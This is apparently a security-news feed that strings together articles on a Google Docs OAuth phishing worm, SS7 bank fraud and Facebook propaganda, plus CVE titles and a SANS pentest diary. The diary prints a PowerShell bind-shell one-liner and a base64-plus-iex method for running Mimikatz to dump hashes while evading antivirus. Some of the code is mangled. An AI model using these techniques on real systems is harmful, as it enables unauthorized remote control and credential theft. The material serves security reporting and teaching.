An evil phishing worm masquerading as "Google Docs" took the Internet by storm today. It sent an e-mail claiming to be from a friend or relative who wanted to share a document with you. Clicking on the "Open in Docs" button asked you to log in to Google, then it popped up a familiar OAuth request asking for some permissions. If you clicked "Allow," the permissions granted it full control over your e-mail and access to all your contacts. The worm then e-mailed everyone in your contacts list before doing god-only-knows what else to the victim's e-mail.

The interesting thing about this worm was just how convincing it was. The e-mail was great—it used the exact same language as a Google Docs sharing e-mail and the exact same "Open" button. Clicking on the link brought up an authentic Google log-in page, served up from Google's servers. Then you were presented a real Google OAuth permissions page, also from Google's servers. The trick was that the app claiming to be "Google Docs" wasn't really Google Docs. The screen showed a third-party app with the name "Google Docs" and a profile picture that matched the Google Docs logo.

Read 4 remaining paragraphs | Comments

Google gRPC CVE-2017-8359 Heap Buffer Overflow Vulnerability
(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
Cisco IOS XR Software CVE-2017-3876 Denial of Service Vulnerability
Cisco CVR100W Wireless-N VPN Router CVE-2017-3882 Buffer Overflow Vulnerability
Cisco IOS Software CVE-2017-6624 Unauthorized Access Vulnerability
Cisco CVR100W Wireless-N VPN Router CVE-2017-6620 Security Bypass Vulnerability

Enlarge / Don't click.

A widely reported e-mail purporting to be a request to share a Google Docs document is actually a well-disguised phishing attack. It directs the user to a lookalike site and grants the site access to the target's Google credentials. If the victim clicks on the prompt to give the site permission to use Google credentials, the phish then harvests all the contacts in the victim's Gmail address book and adds them to its list of targets.

The phish appears to have been initially targeted at a number of reporters, but it quickly spread widely across the Internet. Some of the sites associated with the attack appear to have been shut down.

The e-mail uses a technique that a Trend Micro report linked last week to Pawn Storm, an ongoing espionage campaign frequently attributed to Russian intelligence operations. The attack uses the OAuth authentication interface, which is also used by many Web services to allow users to log in without using a password. By abusing OAuth, the attack is able to present a legitimate Google dialogue box requesting authorization. However, the authentication also asks permission for access to "view and manage your e-mail" and "view and manage the files in your Google Drive."

Read 3 remaining paragraphs | Comments

QEMU CVE-2017-8379 Denial of Service Vulnerability

Enlarge (credit: Raimond Spekking)

A known security hole in the networking protocol used by cellphone providers around the world played a key role in a recent string of attacks that drained bank customer accounts, according to a report published Wednesday.

The unidentified attackers exploited weaknesses in Signalling System No. 7, a telephony signaling language that more than 800 telecommunications companies around the world use to ensure their networks interoperate. SS7, as the protocol is known, makes it possible for a person in one country to send text messages to someone in another country. It also allows phone calls to go uninterrupted when the caller is traveling on a train.

The same functionality can be used to eavesdrop on conversations, track geographic whereabouts, or intercept text messages. Security researchers demonstrated this dark side of SS7 last year when they stalked US Representative Ted Lieu using nothing more than his 10-digit cell phone number and access to an SS7 network.

Read 8 remaining paragraphs | Comments


We got several reports (thanks to Seren Thompson, Tahir Khan and Harry Vann) about OAUTH phishing attacks against Google users. The phishing attack arrives, of course, as an e-mail where it appears that a user (potentially even one on your contact list, so it looks very legitimate) has shared a document.
An image of such an e-mail is shown below:

Phishing email
If you click on the link (Open in Docs), you will be redirected to the OAUTH2 service on the target URL will look like this:

hxxs:// width:380px" />
As you can see, it appears as Google Docs wants full access to my Gmail as well as my contacts. Of course, this is not real Google Docs the attacker has simply named his application Google Docs width:280px" />

, once you allow access it is game over - the attacker probably uses the phishied Gmail account to further distribute phishing e-mails - well see if we can get more details.

So far at least the following domains are included:

The domains are definitely malicious the URL leads to where a fake alert that the computer is infected is shown.


There are more domains - they all just change the TLDs for googledocs.g-docs.X or googledocs.docscloud.X. Most of them (if not all) appear to have been taken down (thanks @Jofo).

It also appears that Google has reacted quickly and are now recognizing e-mails containing malicious (phishing) URLs so the message Be careful with this message. Similar messages were used to steal peoples personal information. Unless you trust the sender, dont click links or reply with personal information. will be shown when such an e-mail is opened.

Finally, if you accidentally clicked on Allow, go to to revoke permissions.


(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
Multiple Intel Products CVE-2017-5689 Privilege Escalation Vulnerability
Atlassian Hipchat Server CVE-2017-8080 Remote Code Execution Vulnerability
Google Android Mediaserver CVE-2017-0603 Denial Of Service Vulnerability

Enlarge / Facebook Security gave details last week on how the company is fighting nation-state and other groups' efforts to use the social network to amplify false news and for covert propaganda efforts. (credit: Getty Images/ NurPhoto)

Facebook Security has revealed more of how the company has begun to combat the spread of propaganda and "fake news," acknowledging for the first time that the company tracked a campaign that attempted to influence the 2016 US presidential campaign. Facebook began to fight "fake news" posts (sort of) earlier this year when the company introduced a "disputed" label that is now being added to some shared stories of questionable provenance. But the company has also launched a less-visible effort to clamp down on "false amplification" of propaganda efforts on its social media platform.

During the 2016 presidential campaign, Facebook Security team members monitored a number of activities that "we assessed to fit the pattern of information operations," according to a paper published by the company last week. The paper, authored by Facebook Security's Jen Weedon, William Nuland, and Facebook Chief Security Officer Alex Stamos—entitled "Information Operations and Facebook"—acknowledges that Facebook accounts were used as part of a coordinated effort to spread misinformation and influence the shape of political conversations. Facebook did not attempt to attribute the campaign to a specific party.

While acknowledging that activity, the authors also downplayed its scope. "In short," the Facebook team wrote, "while we acknowledge the ongoing challenge of monitoring and guarding against information operations, the reach of known operations during the US election of 2016 was statistically very small compared to overall engagement on political issues." Nevertheless, Facebook reported the activity as part of a growing trend that the company now feels compelled to combat because of its potential poisoning effect on the more organic conversations on social media.

Read 20 remaining paragraphs | Comments

Advantech B+B SmartWorx MESR901 CVE-2017-7909 Authentication Bypass Vulnerability
Zenario CMS v7.6 - (Delete) Persistent Cross Site Vulnerability
Zenario v7.6 - Persistent Cross Site Scripting Vulnerability
Arachni v1.5-0.5.11 - Persistent Cross Site Vulnerability
Joomla com_tag v1.7.6 - (tag) SQL Injection Vulnerability

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
Google Android Broadcom Wi-fi Driver CVE-2017-0633 Information Disclosure Vulnerability
CyberVision Kaa IoT Platform CVE-2017-7911 Remote Code Injection Vulnerability
Wonderware Historian Client CVE-2017-7907 Local XML External Entity Injection Vulnerability
Google Android Qualcomm Sound Driver CVE-2017-0610 Privilege Escalation Vulnerability
Google Android Qualcomm Sound Driver CVE-2016-5859 Privilege Escalation Vulnerability
Google Android Qualcomm Sound Driver CVE-2016-5853 Privilege Escalation Vulnerability

It should be no surprise to our regular readers how powerful PowerShell (pun intended) really is. In last couple of years, it has become the main weapon of not only white hat penetration testing, but also various attackers.

Recently I had to perform some pivoting through a compromised box. It had a specific exploit which was not available in Metasploit, but allowed an attacker to execute any command on the vulnerable server. The caveat was that the server could not establish external connection, however all connections to the server were allowed (it was an internal engagement) so instead of using a reverse shell, I used a simple bind TCP shell (powershell).

The easiest way to do this is to use the Invoke-PowerShellTcp.ps1 script from the Nishang collection ( This is a reverse PowerShell script, so a little bit of modification was needed to make it a bind TCP shell, as below:

$listener = [System.Net.Sockets.TcpListener]7777;$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2$sendback2 = $sendback + \\PS \\ + (pwd).Path + \\ \\$sendbyte =$client.Close()

This one-liner will create a bind TCP PowerShell on port 7777. Sweet. Now that this works, the rest of the job should be easy right? We can normally use the exploit/multi/handler module from Metasploit which will allow us to connect to the previously open PowerShell. While this cannot be upgraded to Meterpreter, the logical next step would be to invoke Mimikatz to dump available hashes.

However, here there was a small problem. Since reverse connections cannot be created, the way this is normally done is by using the windows/manage/powershell/load_script post exploitation module. This module loads a PowerShell script and executes it. The idea here is to use it to invoke Mimikatz (the Invoke-Mimikatz.ps1 script from the PowerSploit collection at

For some reason, though, this did not work. The script was correctly pushed by encoding it however the execution somewhere failed. Inspection of the load_script module showed that it is very simple: it just takes the PowerShell script (or a directory) and uses the stage_psh_env method from the Msf::Post::Windows::Powershell module. This method is defined in the lib/msf/core/post/windows/powershell.rb file and we can see that it takes the source script, splits it into chunks of up to 14999 bytes, encodes with Base64 and sends to the remote shell as a variable. After it has been successfully uploaded, the Metasploit module decodes the variable and executes it with the iex PowerShell command (Invoke Expression).

But, as I said, for some reason this did not work. The default PowerShell script got transferred and executed correctly, but Invoke-Mimikatz.ps1 simply did not work. So after some experimenting I found out that I can do the same thing as Metasploit I can create a variable which contains Base64 encoded PowerShell script and execute it after decoding with the iex command. This is actually done twice: once by my script and the other time by Metasploit while transferring this new script.

This turned out to be the solution first I had to encode Invoke-Mimikatz.ps1 into a (huge) variable and then simply copy it into a new script that will eventually be pushed with the windows/manage/powershell/load_script module.

Encoding Invoke-Mimikatz.ps1 to Base64 is simple we can use PowerShell to do that too:

PS D:\ $temp = Get-Content .\Invoke-Mimikatz.ps1
PS D:\ $bytes = [System.Text.Encoding]::UTF8.GetBytes($temp)
PS D:\ $encoded = [System.Convert]::ToBase64String($bytes)

Now the variable $encoded has the Base64 encoded Invoke-Mimikatz.ps1 script, so the resulting PS1 script will look like this:

$encoded = ZnVuY3 .. rest of the Base64 encoded script
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($encoded)) | iex

Simple and effective. And once the hashes have been dumped we know its game over really. And as a plus, this will also evade most (all?) anti-viruses that might be detecting the Invoke-Mimikatz.ps1 script directly.

Do you have other interesting PowerShell exploitation stories?

Let us know!


(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
Google Android Qualcomm Sound Driver CVE-2017-0608 Privilege Escalation Vulnerability
Google Android Qualcomm Sound Driver CVE-2016-5867 Privilege Escalation Vulnerability
Google Android Qualcomm Sound Driver CVE-2017-0607 Privilege Escalation Vulnerability
Google Android Qualcomm Sound Driver CVE-2017-0609 Privilege Escalation Vulnerability
[security bulletin] HPESBHF03741 rev.1 - HPE Network products including Comware 7, IMC, and VCX running OpenSSL, Local Unauthorized Disclosure of Information, Remote Denial of Service (DoS), Unauthorized Disclosure of Information
[SECURITY] [DSA 3843-1] tomcat8 security update
[SECURITY] [DSA 3842-1] tomcat7 security update
MODX Revolution 2.0.1-pl - 2.5.6-pl blind SQLi
Internet Storm Center Infocon Status